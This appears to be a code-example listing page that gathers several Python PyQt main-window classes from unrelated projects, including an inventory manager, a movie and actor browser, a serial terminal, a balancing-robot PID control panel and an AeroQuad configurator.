ファイル: Inventory.py プロジェクト: Xkonti/Inventory
class MainWindow(QtGui.QMainWindow):
    def __init__(self, parent=None):
        QtGui.QWidget.__init__(self, parent)
        
        self.search = None

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.setWindowTitle('The Inventory ' + settings.getVersionString())
        self.connectToDatabase()

        #  /=====================================\
        #  |            SLOTS/SIGNALS            |
        # buttons
        self.ui.btnAddItem.clicked.connect(self.itemEditor_newItem)
        self.ui.btnEditItem.clicked.connect(self.itemEditor_editItem)
        self.ui.btnDuplicateItem.clicked.connect(self.itemEditor_duplicateItem)
        self.ui.btnDeleteItem.clicked.connect(self.deleteItem)
        # itemList
        self.ui.itemList.itemSelectionChanged.connect(self.itemList_selectionChanged)
        # searching
        self.ui.btnSearchQuick.clicked.connect(self.search_quick)
        # menu
        self.ui.actionRecreateLists.triggered.connect(self.menuDatabase_actionRecreateLists)
        self.ui.actionDownloadDatabase.triggered.connect(self.menuDatabase_actionDownloadDatabase)
        self.ui.actionProgramVersion.triggered.connect(self.menuAbout_actionProgramVersion)
        #  |            SLOTS/SIGNALS            |
        #  \=====================================/
        self.itemList_refresh()
        self.itemProperties_showItem(None)



    def resizeEvent(self,resizeEvent):
        self.itemList_refreshHeaders()

    def showEvent(self, showEvent):
        self.itemList_refreshHeaders()






    def connectToDatabase(self):
        self.connection = mongo()
        if not self.connection.connected:
            QMessageBox.critical(self.ui.centralwidget, "Connection to MongoDB", "Connection to database failed. Exiting application.")
            raise SystemExit('Connection to database failed. Exiting application.')

    def saveConfig(self):
        settings = {'itemList_nameWidth': 100,
                    'itemList_amountWidth': 100,
                    'itemList_categoryWidth': 100,
                    'itemList_containerWidth': 100
                    }
        file = open('config.json', 'w')
        json.dumps(settings, file)
        file.close()
        print 'Settings saved'

    ################################################################
    #### itemPropertiesTable #######################################
    ################################################################

    def itemProperties_showItem(self, item):
        self.ui.itemProperties.clear()
        if item is not None:
            preparedList = []
            if '_id' in item: preparedList.append(('Object ID:', str(item['_id'])))
            if 'created' in item: preparedList.append(('Created:', str(item['created'])))
            if 'modified' in item: preparedList.append(('Modified:', str(item['modified'])))
            if 'programVersion' in item: preparedList.append(('Program version:', settings.getVersionString(item['programVersion'])))
            if 'name' in item: preparedList.append(('Name:', item['name']))
            if 'category' in item: preparedList.append(('Category:', item['category']))
            if 'container' in item: preparedList.append(('Container:', item['container']))
            if 'amount' in item: preparedList.append(('Amount:', str(item['amount'])))
            if 'amountUnit' in item: preparedList.append(('Amount unit:', item['amountUnit']))
            if 'flags' in item: preparedList.append(('Flags:', str.join(', ', item['flags'])))
            if 'description' in item: preparedList.append(('Description:', item['description']))
            if 'tags' in item: preparedList.append(('Tags:', str.join(', ', item['tags'])))
            if 'brand' in item: preparedList.append(('Brand:', item['brand']))
            if 'model' in item: preparedList.append(('Model:', item['model']))
            if 'version' in item: preparedList.append(('Version:', item['version']))
            if 'serialNumber' in item: preparedList.append(('Serial number:', item['serialNumber']))
            if 'buyDate' in item: preparedList.append(('Buy date:', str(item['buyDate'])))
            if 'buyPlace' in item: preparedList.append(('Buy place:', item['buyPlace']))
            if 'warranty' in item: preparedList.append(('Warranty:', str(item['warranty']) + ' months'))
            if 'price' in item: preparedList.append(('Price:', str(item['price']) + ' zł'))
            if 'colors' in item: preparedList.append(('Colors:', str.join(', ', item['colors'])))
            if 'materials' in item: preparedList.append(('Materials:', str.join(', ', item['materials'])))
            if 'weight' in item: preparedList.append(('Weight:', str(item['weight']) + ' g'))
            if 'width' in item: preparedList.append(('Width:', str(item['width']) + ' mm'))
            if 'height' in item: preparedList.append(('Height:', str(item['height']) + ' mm'))
            if 'depth' in item: preparedList.append(('Depth:', str(item['depth']) + ' mm'))
            if 'radius1' in item: preparedList.append(('Radius 1:', str(item['radius1']) + ' mm'))
            if 'radius2' in item: preparedList.append(('Radius 2:', str(item['radius2']) + ' mm'))
            if 'containerLabel' in item: preparedList.append(('Container label:', item['containerLabel']))
            if 'containerCategories' in item: preparedList.append(('Allowed categories:', str.join(', ', item['containerCategories'])))

            for prepared in preparedList:
                field = QtGui.QTreeWidgetItem(self.ui.itemProperties, prepared)
                field.setBackgroundColor(0, QtGui.QColor(255,230,192))
                value = QtGui.QTreeWidgetItem(field)
                label = QtGui.QLabel(prepared[1])
                label.setWordWrap(True)
                self.ui.itemProperties.setItemWidget(value, 0, label)
            self.ui.itemProperties.expandAll()

    

    ################################################################
    #### itemList ##################################################
    ################################################################

    def itemList_refresh(self):

        self.ui.itemList.clear()
        header = QtGui.QTreeWidgetItem(['Name', 'Amount', 'Category', 'Container'])
        self.ui.itemList.setHeaderItem(header)
        
        items = None
        if self.search is None:
            items = self.connection.getAllItems()
            print 'All items:', items.count()
        elif self.search[0] == 'quick':
            items = self.connection.searchItem_quick(self.search[1]['text'], self.search[1]['containerFlag'])
            print 'Found', items.count(), 'items'

        for item in items:
            name = '-=- NO NAME -=-'
            if 'name' in item:
                name = item['name']
            amount = '---'
            if 'amount' in item and 'amountUnit' in item:
                amount = str(item['amount']) + ' ' + item['amountUnit']
            category = '-=- NONE -=-'
            if 'category' in item:
                category = item['category']
            container = '-=- NONE -=-'
            if 'container' in item:
                container = item['container']

            listItem = QtGui.QTreeWidgetItem(self.ui.itemList)
            listItem.id = item['_id']
            labelName = QtGui.QLabel(name)
            labelName.setWordWrap(True)
            labelAmount = QtGui.QLabel(amount)
            labelAmount.setWordWrap(True)
            labelCategory = QtGui.QLabel(category)
            labelCategory.setWordWrap(True)
            labelContainer = QtGui.QLabel(container)
            labelContainer.setWordWrap(True)
            self.ui.itemList.setItemWidget(listItem, 0, labelName)
            self.ui.itemList.setItemWidget(listItem, 1, labelAmount)
            self.ui.itemList.setItemWidget(listItem, 2, labelCategory)
            self.ui.itemList.setItemWidget(listItem, 3, labelContainer)

        self.itemList_refreshHeaders()

    def itemList_refreshHeaders(self):
        width = self.ui.itemList.frameGeometry().width()
        height = self.ui.itemList.frameGeometry().height()
        self.ui.itemList.setColumnWidth(0, int(width * 0.65))
        self.ui.itemList.setColumnWidth(1, int(width * 0.1))
        self.ui.itemList.setColumnWidth(2, int(width * 0.1))
        self.ui.itemList.setColumnWidth(3, int(width * 0.1))


    def itemList_getSelectedId(self):
        selected = self.ui.itemList.selectedItems()
        if selected is not None and len(selected) > 0:
            return selected[0].id

    def itemList_getSelectedItem(self):
        # Returns selected item. None when none is selected
        id = self.itemList_getSelectedId()
        if id is not None:
            return self.connection.getItemById(id)
        else: return None

    def itemList_selectionChanged(self):
        # Actions to do when selection was changed
        self.itemProperties_showItem(self.itemList_getSelectedItem())

    def deleteItem(self):
        canDelete = False
        selectedItem = self.itemList_getSelectedItem()
        if selectedItem is not None:
            container = False
            itemCount = 0
            if 'containerLabel' in selectedItem:
                container = True
                itemCount = self.connection.countItemsInContainer(selectedItem['containerLabel'])
                
            msg = QMessageBox()
            msg.setWindowTitle("Deleting " + selectedItem['name'])
            if itemCount == 0:
                msg.setIcon(QMessageBox.Information)
                msg.setText("Do you want do delete this item?")
                if container:
                    msg.setInformativeText("This is active container (" + selectedItem['containerLabel'] + "), but it contains nothing.")
                itemText = unicode('Item to delete:')
                for field in selectedItem:
                    itemText += '\n' + field + '\t' + unicode(selectedItem[field])
                msg.setDetailedText(itemText)
                msg.setStandardButtons(QMessageBox.Yes | QMessageBox.No)
                if msg.exec_() == 16384: # 16384 = Yes; 65536 = No
                    canDelete = True
            else:
                msg.setIcon(QMessageBox.Warning)
                msg.setText("Cannot delete this item. It is a container with " + str(itemCount) + " items in it. Empty it before deleting.")
                msg.setStandardButtons(QMessageBox.Ok)
                msg.exec_()

            if canDelete:
                self.connection.deleteItem(selectedItem['_id'])
                QMessageBox.information(self.ui.centralwidget, "Deleted", "Deletion of " + selectedItem['name'] + " was successful.")
                self.itemList_refresh()
        else:
            print 'There is nothing selected.'



    ################################################################
    #### itemEditor ##################################################
    ################################################################

    def itemEditor_newItem(self):
        item = {}
        editor = ItemEditor(self, self.connection, item, 'new')
        result = editor.exec_()
        if result == 1:
            if self.connection.updateItem(convertToStandardTypes(item)) is None:
                print 'Item synchronized with database.'
            else:
                print 'ERROR WHILE SYNCHRINIZING WITH DATABASE!'
            self.itemList_refresh()
        else:
            print 'Aborted'


    def itemEditor_editItem(self):
        item = self.itemList_getSelectedItem()
        if item is not None:
            editor = ItemEditor(self, self.connection, item, 'edit')
            result = editor.exec_()
            if result == 1:
                if self.connection.updateItem(convertToStandardTypes(item)) is None:
                    print 'Item synchronized with database.'
                else:
                    print 'ERROR WHILE SYNCHRINIZING WITH DATABASE!'
                self.itemList_refresh()
            else:
                print 'Aborted'


    def itemEditor_duplicateItem(self):
        item = copy.deepcopy(self.itemList_getSelectedItem())
        if '_id' in item: item.pop('_id')
        if '_id' in item: print '_id still exists!'
        if 'created' in item: item.pop('created')
        if 'modified' in item: item.pop('modified')
        if 'containerLabel' in item: item.pop('containerLabel')
        editor = ItemEditor(self, self.connection, item, 'duplicate')
        result = editor.exec_()
        if result == 1:
            if self.connection.updateItem(convertToStandardTypes(item)) is None:
                print 'Item synchronized with database.'
            else:
                print 'ERROR WHILE SYNCHRINIZING WITH DATABASE!'
            self.itemList_refresh()
        else:
            print 'Aborted'



    ################################################################
    #### Search #################################################
    ################################################################

    def search_quick(self):
        search = ['quick', {'text': unicode(self.ui.searchQuickText.text())}]
        container = getSelectedText(self.ui.searchQuickContainers).toLower()
        if container == 'items and containers':
            search[1]['containerFlag'] = 'all'
        elif container == 'only items':
            search[1]['containerFlag'] = 'items'
        if container == 'only containers':
            search[1]['containerFlag'] = 'containers'
        self.search = search
        self.itemList_refresh()



    ################################################################
    #### Main Menu #################################################
    ################################################################

    def menuDatabase_actionRecreateLists(self):
        self.connection.checkLists(forceRecreate = True)

    def menuDatabase_actionDownloadDatabase(self):
        fileName = QtGui.QFileDialog.getSaveFileName(self, 'Save database', 
                '/home', '*.pickle', '*.pickle')
        if fileName != '':
            try:
                database = self.connection.downloadDatabase()
                try:
                    f = open(fileName, 'wb')
                    pickle.dump(database, f)
                    f.close()
                    QMessageBox.information(self, 'Database saved', 'Database was successfully saved to: ' + fileName)
                except Exception as e:
                    QMessageBox.critical(self, "Can't save file", "Can't save to file: " + fileName + '\n\nError: ' + str(e))
            except BaseException as e:
                QMessageBox.critical(self, "Can't download database", "Can't download database from MongoDB server!\n\nError: " + str(e))

    def menuAbout_actionProgramVersion(self):
        QMessageBox.information(self, 'Program version', 'Current program version: ' + settings.getVersionString())
コード例 #46
0
class SeptimoArte(QtGui.QWidget):
    """Clase principal de programa."""
    columnas_actor = (
        (u"Nombre", 200),
        (u"Cumpleaños", 100),
        (u"Genero", 100),
        (u"N° Películas", 50))

    def __init__(self):
        """Constructor principal."""
        super(SeptimoArte, self).__init__()
        self.tipoModel = None
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.centerWindow()
        self.setModel()
        #self.loadMovies()
        self.setSignals()
        self.show()

    def centerWindow(self):
        """
        Funcion que centra la interfaz grafica en la pantalla del usuario.
        """
        qr = self.frameGeometry()
        cp = QtGui.QDesktopWidget().availableGeometry().center()
        qr.moveCenter(cp)
        self.move(qr.topLeft())

    def setModel(self):
        """
        Define el módelo de la grilla para trabajarla.
        """
        self.proxyModel = QtGui.QSortFilterProxyModel()
        self.proxyModel.setDynamicSortFilter(True)

        self.ui.actoresTreeView.sortByColumn(0, QtCore.Qt.AscendingOrder)
        self.ui.actoresTreeView.setModel(self.proxyModel)

    def setSourceModel(self, model):
        """
        Actualiza constantemente el origen de los datos para siempre tenerlos
        al día así pudiendo buscar y mostrar solo algunos datos.
        """
        self.proxyModel.setSourceModel(model)

    def loadTableData(self, parent):
        """
        Llama a los métodos respectivos para llenar ambas grillas en la app.

        """
        self.tipoModel = parent
        model = self.loadActors(parent)

        return model

    #***********************************************************************
    # Estructuración del tab Actores
    #***********************************************************************

    def loadActors(self, parent):
        self.comboBoxTabActor()
        actores = controller.actor()
        row = len(actores)

        model = QtGui.QStandardItemModel(row, len(self.columnas_actor), parent)

        for col, h in enumerate(self.columnas_actor):
            model.setHeaderData(col, QtCore.Qt.Horizontal, h[0])
            self.ui.actoresTreeView.setColumnWidth(col, h[1])

        for i, data in enumerate(actores):
            row = [data[1], data[2], data[3]]
            for j, field in enumerate(row):
                index = model.index(i, j, QtCore.QModelIndex())
                model.setData(index, field)

        return model

    def comboBoxTabActor(self):
        """
        Rellena el comboBox que se ubica en el Tab Actor (principal) con todas
        las películas que se encuentran en la base de datos para luego
        utilizarlas para filtrar el contenido de la grilla.
        """
        peliculas = controller.pelicula()
        self.ui.buscarAPeliculaComboBox.insertItem(0, u"Todas")
        for i, data in enumerate(peliculas):
            self.ui.buscarAPeliculaComboBox.insertItem(i + 1, data[1])

    def setSignals(self):
        self.ui.actoresTreeView.clicked.connect(self.infoClick)
        self.ui.actoresTreeView.activated.connect(self.infoClick)
        self.ui.buscarANombreLineEdit.textChanged.connect(
            self.filtrarActorNombre)
        self.ui.buscarAPeliculaComboBox.currentIndexChanged.connect(
            self.filtrarActorPelicula)
        self.ui.nuevoAButton.clicked.connect(self.nuevoActor)

    def infoClick(self):
        indexTab = self.ui.tabWidget.currentIndex()
        index = self.ui.actoresTreeView.currentIndex()  # n° fila tabla
        model = self.ui.actoresTreeView.model()
        if indexTab is 0:
            #Estamos en el tab Actores
            nombre = model.index(index.row(), 0, QtCore.QModelIndex()).data()
            a = controller.obtenerActor(nombre)

            direccion = "imgActor/{0}".format(a.imagen)
            self.ui.actorImagenLabel.setPixmap(QtGui.QPixmap(direccion))

        else:
            #Estamos en el tab Películas
            pass

    def filtrarActorNombre(self):
        self.ui.actorImagenLabel.setPixmap(QtGui.QPixmap(""))  # Oculta la img
        self.proxyModel.setFilterKeyColumn(0)
        regExp = QtCore.QRegExp(self.ui.buscarANombreLineEdit.text(),
                QtCore.Qt.CaseInsensitive, QtCore.QRegExp.RegExp)

        self.proxyModel.setFilterRegExp(regExp)

    def filtrarActorPelicula(self, parent):
        self.ui.actorImagenLabel.setPixmap(QtGui.QPixmap(""))
        index = self.ui.buscarAPeliculaComboBox.currentIndex()

        if (index != 0):
            nombre = self.ui.buscarAPeliculaComboBox.itemText(index)
            pelicula = controller.obtenerPelicula(nombre)  # Info de la pelicula
            actores = controller.actoresDePelicula(pelicula.id_pelicula)
            actoresAFiltrar = ""

            for i, data in enumerate(actores):
                row = data[0]
                if i == len(actores) - 1:
                    actoresAFiltrar += row[1]
                else:
                    actoresAFiltrar += row[1] + "|"

            if actoresAFiltrar is "":
                actoresAFiltrar = u"@"

        else:
            self.proxyModel.setFilterKeyColumn(0)
            actoresAFiltrar = u'|'

        actoresFiltrados = QtCore.QRegExp(
            actoresAFiltrar, QtCore.Qt.CaseInsensitive, QtCore.QRegExp.RegExp)
        self.proxyModel.setFilterRegExp(actoresFiltrados)

    def nuevoActor(self):
        form = FormularioPelicula()
        form.exec_()
        self.setSourceModel(self.loadTableData(self.tipoModel))
コード例 #47
0
	def __init__(self):
		QtGui.QMainWindow.__init__(self)
		self.ui = Ui_MainWindow()
		self.ui.setupUi(self)
		self.ui.btnConvert.clicked.connect(self.btnConvert_clicked)
		self.ui.btnDefault.clicked.connect(self.btnDefault_clicked)
コード例 #48
0
ファイル: qterm.py プロジェクト: strawbot/TimbreTalk
class terminal(QMainWindow):
	source = Signal(object) # source of output
	def __init__(self, parent=None, source=None):
		QMainWindow.__init__(self, parent)
		self.ui = Ui_MainWindow()
		self.ui.setupUi(self)
		self.banner()
		# connect(fontSizeSpin, SIGNAL(valueChanged(int), textEdit, SLOT(setFontPointSize(int));
		self.ui.fontSize.valueChanged.connect(self.setFontSize)
		
		# serial port
		self.sptimer = QTimer()
		self.portname = None
		self.serialPort = serialio.serialPort(int(self.ui.BaudRate.currentText()))

		# adjust ui widgets
		self.UiAdjust()
		self.listPorts()
		self.show() 

		# font size adjustment
		if sys.platform == 'darwin':
			self.show()
			self.raise_()
		else:
			font = self.ui.textEdit.font()
			font.setPointSize(font.pointSize() - 3)
			self.ui.textEdit.setFont(font)
			self.ui.fontSize.setValue(font.pointSize())
		self.charwidth = self.ui.textEdit.fontMetrics().width(' ')*1.1
			
		# widget connections
		self.ui.PortSelect.activated.connect(self.selectPort)
		self.ui.BaudRate.activated.connect(self.selectRate)
		self.ui.BaudRate.currentIndexChanged.connect(self.selectRate)
		self.ui.LoopBack.stateChanged.connect(self.connectPort)

		# text window
		self.mutex = QMutex()
		self.ui.textEdit.setCursorWidth(8)
		self.ui.textEdit.installEventFilter(self)
		self.messages(messageQueue())
		self.ui.Find.clicked.connect(self.findText)
		self.ui.ClearText.clicked.connect(self.clearText)
		self.ui.saveText.clicked.connect(self.saveText)
		self.textcount = 0

		# capture all qt errors to terminal window
		def log_uncaught_exceptions(ex_cls, ex, tb):
			error(''.join(traceback.format_tb(tb)))
			error('{0}: {1}'.format(ex_cls, ex))
		sys.excepthook = log_uncaught_exceptions		
	
		# setup input/output
		self.ui.InBuffered.clicked.connect(self.buffered)
		self.ui.InRaw.clicked.connect(self.rawMinusEcho)
		self.ui.InRawEcho.clicked.connect(self.rawPlusEcho)
		self.ui.InHex.clicked.connect(self.rawPlusEcho)
		self.ui.InRaw.click()
		self.echo = False
		self.linebuffer = []
		self.ui.inputIgnore.activated.connect(self.selectIgnores)
		self.ui.inputIgnore.setCurrentIndex(1) # ignore cr as default
		self.selectIgnores()

		self.ui.CrOut.setId(self.ui.CRnada, 0)
		self.ui.LfOut.setId(self.ui.LFnada, 0)
		self.ui.CrOut.setId(self.ui.CRCR, 13)
		self.ui.LfOut.setId(self.ui.LFCR, 13)
		self.ui.CrOut.setId(self.ui.CRLF, 10)
		self.ui.LfOut.setId(self.ui.LFLF, 10)
		self.ui.CrOut.buttonClicked.connect(self.setCr)
		self.ui.LfOut.buttonClicked.connect(self.setLf)
		self.ui.CRCR.click()
		self.ui.LFnada.click()
		self.ui.linewrap.stateChanged.connect(self.selectLinewrap)

		# phrases
		self.ui.send1.clicked.connect(self.ui.phrase1.returnPressed)
		self.ui.send2.clicked.connect(self.ui.phrase2.returnPressed)
		self.ui.send3.clicked.connect(self.ui.phrase3.returnPressed)
		self.ui.send4.clicked.connect(self.ui.phrase4.returnPressed)
		self.ui.send5.clicked.connect(self.ui.phrase5.returnPressed)
		self.ui.send6.clicked.connect(self.ui.phrase6.returnPressed)
		self.ui.send7.clicked.connect(self.ui.phrase7.returnPressed)
		self.ui.send8.clicked.connect(self.ui.phrase8.returnPressed)
		
		self.ui.phrase1.returnPressed.connect(self.sendPhrase1)
		self.ui.phrase2.returnPressed.connect(self.sendPhrase2)
		self.ui.phrase3.returnPressed.connect(self.sendPhrase3)
		self.ui.phrase4.returnPressed.connect(self.sendPhrase4)
		self.ui.phrase5.returnPressed.connect(self.sendPhrase5)
		self.ui.phrase6.returnPressed.connect(self.sendPhrase6)
		self.ui.phrase7.returnPressed.connect(self.sendPhrase7)
		self.ui.phrase8.returnPressed.connect(self.sendPhrase8)

	def setFontSize(self, size):
		font = self.ui.textEdit.font()
		font.setPointSize(size)
		self.ui.textEdit.setFont(font)
		
	def sendPhrase(self, s):
		s = s+'\r'
		for c in s:
			self.keyin(c)

	def sendPhrase1(self):
		self.sendPhrase(self.ui.phrase1.text())

	def sendPhrase2(self):
		self.sendPhrase(self.ui.phrase2.text())

	def sendPhrase3(self):
		self.sendPhrase(self.ui.phrase3.text())

	def sendPhrase4(self):
		self.sendPhrase(self.ui.phrase4.text())

	def sendPhrase5(self):
		self.sendPhrase(self.ui.phrase5.text())

	def sendPhrase6(self):
		self.sendPhrase(self.ui.phrase6.text())

	def sendPhrase7(self):
		self.sendPhrase(self.ui.phrase7.text())

	def sendPhrase8(self):
		self.sendPhrase(self.ui.phrase8.text())

		# connections
#		self.source.connect(self.serialPort.sink)
#		self.serialPort.source.connect(self.sink)
#		self.source = self.serialPort.sink			
#		self.serialPort.source = self.sink

	def banner(self):
		self.setWindowTitle('Qterm 1.1')
		
	def messages(self, q): # handle messages piped in from other threads
		class messageThread(QThread):
			output = Signal(object)
			def __init__(self, parent, q):
				QThread.__init__(self)
				self.q = q
				self.parent = parent
				self.output.connect(self.parent.writeStyled)
			
			def run(self):
				while 1:
					try:
						s = self.q.get()
						if s:
							self.output.emit(s)
					except Empty:
						print 'Empty exception'
						pass
					except Exception, e:
						print >>sys.stderr, e
						traceback.print_exc(file=sys.stderr)
		
		self.mthread = messageThread(self, q)
		self.mthread.start()
コード例 #49
0
ファイル: UI.py プロジェクト: gchinellato/Self-Balance-Robot
class mainWindow(QtWidgets.QMainWindow):
    def __init__(self, parent=None):
        QtWidgets.QMainWindow.__init__(self, parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        setVerbosity("debug")

        #Button actions
        self.ui.pushButton_en_server.clicked.connect(self.pushButton_serverEnable_onClicked)
        self.ui.pushButton_en_client.clicked.connect(self.pushButton_clientEnable_onClicked)
        self.ui.pushButton_chart_orientation.clicked.connect(self.pushButton_chartOrientation_onClicked)
        self.ui.pushButton_3d_model.clicked.connect(self.pushButton_3D_Model_onClicked)
        self.ui.pushButton_angle_set.clicked.connect(self.pushButton_angleSetPID_onClicked)
        self.ui.pushButton_speed_set.clicked.connect(self.pushButton_speedSetPID_onClicked)
        self.ui.pushButton_angle_zero.clicked.connect(self.pushButton_angleZeroPID_onClicked)
        self.ui.pushButton_speed_zero.clicked.connect(self.pushButton_speedZeroPID_onClicked)
        self.ui.pushButton_control_set.clicked.connect(self.pushButton_controlSet_onClicked)

        #Initial value
        self.ui.doubleSpinBox_angle_kp.setValue(ANGLE_KP_CONS)
        self.ui.doubleSpinBox_angle_ki.setValue(ANGLE_KI_CONS)
        self.ui.doubleSpinBox_angle_kd.setValue(ANGLE_KD_CONS)
        self.ui.doubleSpinBox_angle_kp_Aggr.setValue(ANGLE_KP_AGGR)
        self.ui.doubleSpinBox_angle_ki_Aggr.setValue(ANGLE_KI_AGGR)
        self.ui.doubleSpinBox_angle_kd_Aggr.setValue(ANGLE_KD_AGGR)
        self.ui.doubleSpinBox_angle_setpoint.setValue(CALIBRATED_ZERO_ANGLE)
        self.ui.doubleSpinBox_angle_max.setValue(ANGLE_LIMIT)
        self.ui.doubleSpinBox_speed_kp.setValue(SPEED_KP)
        self.ui.doubleSpinBox_speed_ki.setValue(SPEED_KI)
        self.ui.doubleSpinBox_speed_kd.setValue(SPEED_KD)

        self.serverUDPQueue = queue.Queue(4)
        self.threads = []
        self.worker = None
        self.clientUDP = None
        self.serverUDP = None

    def pushButton_serverEnable_onClicked(self):
        #Create and start UDP server thread
        port = int(self.ui.lineEdit_port_server.text())

        if self.serverUDP != None and self.worker != None:
            self.worker.terminate()
            self.serverUDP.join(timeout=1)

        self.worker = Worker(self)
        self.serverUDP = UDP_ServerThread(name=SERVER_UDP_NAME, queue=self.serverUDPQueue, UDP_PORT=port)
        self.serverUDP.daemon = True
        self.threads.append(self.serverUDP)

        self.serverUDP.start()
        self.worker.start()

    def pushButton_clientEnable_onClicked(self):
        #Create and start UDP client thread
        ip = self.ui.lineEdit_ip_client.text()
        port = int(self.ui.lineEdit_port_client.text())

        if self.clientUDP != None:
            self.clientUDP.join(timeout=1)

        self.clientUDP = UDP_ClientThread(name=CLIENT_UDP_NAME, UDP_IP=ip, UDP_PORT=port)
        self.clientUDP.daemon = True
        self.threads.append(self.clientUDP)
        self.clientUDP.start()

    def pushButton_chartOrientation_onClicked(self):
        self.plot = Plot(self)
        self.plot.start()

    def pushButton_3D_Model_onClicked(self):
        self.triModel = TriModel(self)
        self.triModel.start()

    def pushButton_angleSetPID_onClicked(self):
        angleKpCons = self.ui.doubleSpinBox_angle_kp.value()
        angleKiCons = self.ui.doubleSpinBox_angle_ki.value()
        angleKdCons = self.ui.doubleSpinBox_angle_kd.value()

        angleKpAggr = self.ui.doubleSpinBox_angle_kp_Aggr.value()
        angleKiAggr = self.ui.doubleSpinBox_angle_ki_Aggr.value()
        angleKdAggr = self.ui.doubleSpinBox_angle_kd_Aggr.value()

        angleSetpoint = self.ui.doubleSpinBox_angle_setpoint.value()
        angleMax = self.ui.doubleSpinBox_angle_max.value()

        #(module),(data1)(data2),(data3)(...)(#)
        msg = CMD_PID_ANGLE + "," + \
              str(angleKpCons) + "," + \
              str(angleKiCons) + "," + \
              str(angleKdCons) + "," + \
              str(angleKpAggr) + "," + \
              str(angleKiAggr) + "," + \
              str(angleKdAggr) + "," + \
              str(angleSetpoint) + "," + \
              str(angleMax) + "#"

        # Sending UDP packets...
        if (self.clientUDP != None):
            self.clientUDP.putMessage(msg)

    def pushButton_speedSetPID_onClicked(self):
        speedKpCons = self.ui.doubleSpinBox_speed_kp.value()
        speedKiCons = self.ui.doubleSpinBox_speed_ki.value()
        speedKdCons = self.ui.doubleSpinBox_speed_kd.value()

        #(module),(data1)(data2),(data3)(...)(#)
        msg = CMD_PID_SPEED + "," + \
              str(speedKpCons) + "," + \
              str(speedKiCons) + "," + \
              str(speedKdCons) + "#"

        # Sending UDP packets...
        if (self.clientUDP != None):
            self.clientUDP.putMessage(msg)

    def pushButton_angleZeroPID_onClicked(self):
        #(module),(data1)(data2),(data3)(...)(#)
        msg = CMD_PID_ANGLE + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "#"

        # Sending UDP packets...
        if (self.clientUDP != None):
            self.clientUDP.putMessage(msg)

    def pushButton_speedZeroPID_onClicked(self):
        #(module),(data1)(data2),(data3)(...)(#)
        msg = CMD_PID_SPEED + "," + \
              str(0) + "," + \
              str(0) + "," + \
              str(0) + "#"

        # Sending UDP packets...
        if (self.clientUDP != None):
            self.clientUDP.putMessage(msg)

    def pushButton_controlSet_onClicked(self):
        enableArduino = self.ui.checkBox_en_arduino.checkState()
        print(enableArduino)
        enableCV = self.ui.checkBox_en_cv.checkState()
        print(enableCV)
        #(module),(data1)(data2),(data3)(...)(#)
        msg = CMD_MANAGER + "," + \
              str(enableArduino) + "," + \
              str(enableCV) + "#"

        # Sending UDP packets...
        if (self.clientUDP != None):
            self.clientUDP.putMessage(msg)
コード例 #50
0
ファイル: main.py プロジェクト: Babouchot/PSMoveSimpleMapper
 def __init__(self, parent=None):
     QtGui.QWidget.__init__(self, parent)
     self.ui = Ui_MainWindow()
     self.ui.setupUi(self)
コード例 #51
0
class AQMain(QtGui.QMainWindow):
    def __init__(self, parent=None):
        QtGui.QWidget.__init__(self, parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        # TODO: figure out way to configure for different comm types (TCP, MAVLINK, etc) 
        self.comm = AQSerial()
        
        # Default main window conditions
        self.ui.buttonDisconnect.setEnabled(False)
        self.ui.buttonConnect.setEnabled(True)
        self.ui.comPort.setEnabled(True)
        self.ui.baudRate.setEnabled(True)
        self.ui.status.setText("Not connected to the AeroQuad")
        self.availablePorts = []
        self.updateComPortSelection()
        self.updateBaudRates()
        
        # Update comm port combo box to use last used comm port
        defaultComPort = xml.find("./Settings/DefaultComPort").text
        commIndex = self.ui.comPort.findText(defaultComPort)
        if commIndex == -1:
            commIndex = 0
        self.ui.comPort.setCurrentIndex(commIndex)
        
        # Load splash screen
        self.subPanel = Ui_splashScreen()
        self.subPanel.setupUi(self.subPanel)
        self.ui.subPanel.addWidget(self.subPanel)
        
        # Dynamically configure board type menu and subPanel menu from XML configuration file
        self.selectedBoardType = self.configureBoardTypeMenu()
        self.configureSubPanelMenu(self.selectedBoardType)
        self.activeSubPanel = None

        # Connect GUI slots and signals
        self.ui.buttonConnect.clicked.connect(self.connect)
        self.ui.buttonDisconnect.clicked.connect(self.disconnect)
        self.ui.actionExit.triggered.connect(QtGui.qApp.quit)
        self.ui.comPort.currentIndexChanged.connect(self.updateDetectedPorts)
        self.ui.actionBootUpDelay.triggered.connect(self.updateBootUpDelay)
        self.ui.actionCommTimeout.triggered.connect(self.updateCommTimeOut)


    '''Communication Methods'''        
    def connect(self):
        '''Initiates communication with the AeroQuad'''
        # Setup GUI
        self.ui.status.setText("Connecting to the " + self.selectedBoardType + "...")
        self.ui.buttonDisconnect.setEnabled(True)
        self.ui.buttonConnect.setEnabled(False)
        self.ui.comPort.setEnabled(False)
        self.ui.baudRate.setEnabled(False)
        # Update the GUI
        app.processEvents()
        
        # Setup serial port
        bootupDelay = float(xml.find("./Settings/BootUpDelay").text)
        commTimeOut = float(xml.find("./Settings/CommTimeOut").text)
        self.comm.connect(str(self.ui.comPort.currentText()), int(self.ui.baudRate.currentText()), bootupDelay, commTimeOut)
        self.comm.write("!")
        version = self.comm.read()
        if version != "":
            self.storeComPortSelection()
            self.ui.status.setText("Connected to the " + self.selectedBoardType + " using Flight Software v" + version)
            self.restartSubPanel()
        else:
            self.disconnect()
            self.ui.status.setText("Not connected to the " + self.selectedBoardType)
        
    def disconnect(self):
        '''Disconnect from the AeroQuad'''
        self.comm.write("X")
        self.comm.disconnect()
        # Update GUI
        self.ui.buttonDisconnect.setEnabled(False)
        self.ui.buttonConnect.setEnabled(True)
        self.ui.comPort.setEnabled(True)
        self.ui.baudRate.setEnabled(True)
        self.ui.status.setText("Disconnected from the " + self.selectedBoardType)
        self.restartSubPanel()

    def updateDetectedPorts(self):
        '''Cycles through 256 ports and checks if there is a response from them.'''
        selection = self.ui.comPort.currentText()
        if selection == "Refresh":
            self.updateComPortSelection
            self.ui.comPort.setCurrentIndex(0)
            self.ui.status.setText("Updated list of available COM ports")
        elif selection == "Autoconnect":
            self.ui.comPort.setCurrentIndex(0)
            self.ui.status.setText("This feature still under construction")
        elif selection == "-------":
            self.ui.comPort.setCurrentIndex(0)
    
